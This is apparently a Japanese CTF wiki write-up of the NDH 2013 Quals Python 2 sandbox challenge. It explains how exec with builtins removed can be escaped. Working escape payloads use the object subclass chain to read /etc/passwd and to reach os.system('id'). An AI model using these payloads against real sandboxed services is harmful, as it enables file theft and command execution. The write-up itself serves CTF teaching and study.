pyjail wiki

NDH 2013 Quals - sandbox

Challenge

Python 2 の基本的な sandbox。

# Python 2
code = raw_input()
exec code in {'__builtins__': None}

Solution

基本的なサブクラスチェーン

# Python 2 の基本ペイロード
().__class__.__bases__[0].__subclasses__()

file クラスの利用

Python 2 では file が組み込みクラスとして存在:

# サブクラスから file を探す
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'file'][0]('/etc/passwd').read()

os モジュールへのアクセス

# catch_warnings 経由
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')

Technical Details

Python 2 のビルトインクラス

# Python 2 で利用可能
file # ファイルクラス
basestring # 文字列の基底
buffer # バッファ

サブクラスの構成

Python 2 では object のサブクラスが少ない:

Python 2.7: 約 80-100 クラス
Python 3.x: 約 150-200+ クラス

builtins = None vs {}

# None の場合
exec code in {'__builtins__': None}
# builtins は完全に無効
# {} の場合
exec code in {'__builtins__': {}}
# 空の辞書だが、サブクラスからアクセス可能

Alternative Solutions

別解1: types モジュール

[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'FileType'][0]('/flag').read()

別解2: コードオブジェクト

# function クラスからコードを実行
(lambda: 0).func_code

Historical Significance

  • Python 2 時代の古典的 pyjail
  • 現代の Python 3 pyjail の基礎となった
  • file クラスの悪用は Python 2 限定

Flag

flag{...}

References

  • NDH 2013 Quals
  • Python 2 security considerations